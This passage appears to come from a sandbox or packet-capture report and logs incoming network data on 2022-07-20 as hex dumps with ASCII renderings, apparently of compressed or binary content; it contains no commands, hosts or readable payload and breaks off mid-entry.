2022-07-20 11:24:38 UTC	5870	IN	Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGwSPa%e+QS6^^gX4G`.QI"q#/-T.T
2022-07-20 11:24:38 UTC	5886	IN	Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d Data Ascii: Z~u_&mn;<!hUrpp?+y}wa\|g*$Sfr6\|l&DY>6z&;&voou\|nQ#ywB%dHMHvJuF\|iQpEWYf{Mmrm-AO0\hC:XW.BZ$EaF=!nV<6=5~N{M
2022-07-20 11:24:38 UTC	5893	IN	Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l\|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~\|0EYY.Ov!O-
2022-07-20 11:24:38 UTC	5909	IN	Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e 3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE\|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"\|wKd`(YFcO!#&Do"Tqsr77/i2lsb7[/
2022-07-20 11:24:38 UTC	5925	IN	Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGwXj-vEybL
2022-07-20 11:24:38 UTC	5933	IN	Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 Data Ascii: 1VLI$_\|\|%q#u%yd&6#zKz/"[)<q[BqydosH=9YAH7wY.JceTzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJB\8^WOTp
2022-07-20 11:24:38 UTC	5949	IN	Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1eC+zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7]_~-=m.*G^_jxr&51
2022-07-20 11:24:38 UTC	5965	IN	Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%P^GE,9cz
2022-07-20 11:24:38 UTC	5973	IN	Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f Data Ascii: E820x(VWAWW1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q=LxQePG^WWOV6md[s%w\|~\iNG52M
2022-07-20 11:24:38 UTC	5989	IN	Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 Data Ascii: 1&W)R[q5n&f\|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w}Z"]!S9Q7K/
2022-07-20 11:24:38 UTC	6005	IN	Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 Data Ascii: nc>>4RcB/m\|Mdxmxtfdt~4M%V=Cm s$XTY<W\|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}rG$_E@^6~U6{
2022-07-20 11:24:38 UTC	6013	IN	Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^\|</=x%/ily{AX;X.{C93v)_wVEbCHv-\|\|JniIPF/b*_~nIqB@yc^[Se
2022-07-20 11:24:38 UTC	6029	IN	Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx\|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon
2022-07-20 11:24:38 UTC	6045	IN	Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E\|:WS$e9)^L`9tvK-#i_ODgO:1 gDIcyNmmNuyhR+]{;I*7By\|\a
2022-07-20 11:24:38 UTC	6052	IN	Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 Data Ascii: 9\|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWxh0vY)Q2ZQ_vYh0c1
2022-07-20 11:24:38 UTC	6068	IN	Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f\|xeM{+d~_hYTXfZ6+q5v{8` Of~
2022-07-20 11:24:38 UTC	6084	IN	Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o_ZFE"KvyYZ]`G4{Pp
2022-07-20 11:24:38 UTC	6092	IN	Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/\|Yc_a9b(xNnO{Sr6V\t^\G9uiU!__}E5EpbTFIIZ
2022-07-20 11:24:38 UTC	6108	IN	Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3 01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)R/X*trrFR3$5S
2022-07-20 11:24:38 UTC	6124	IN	Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 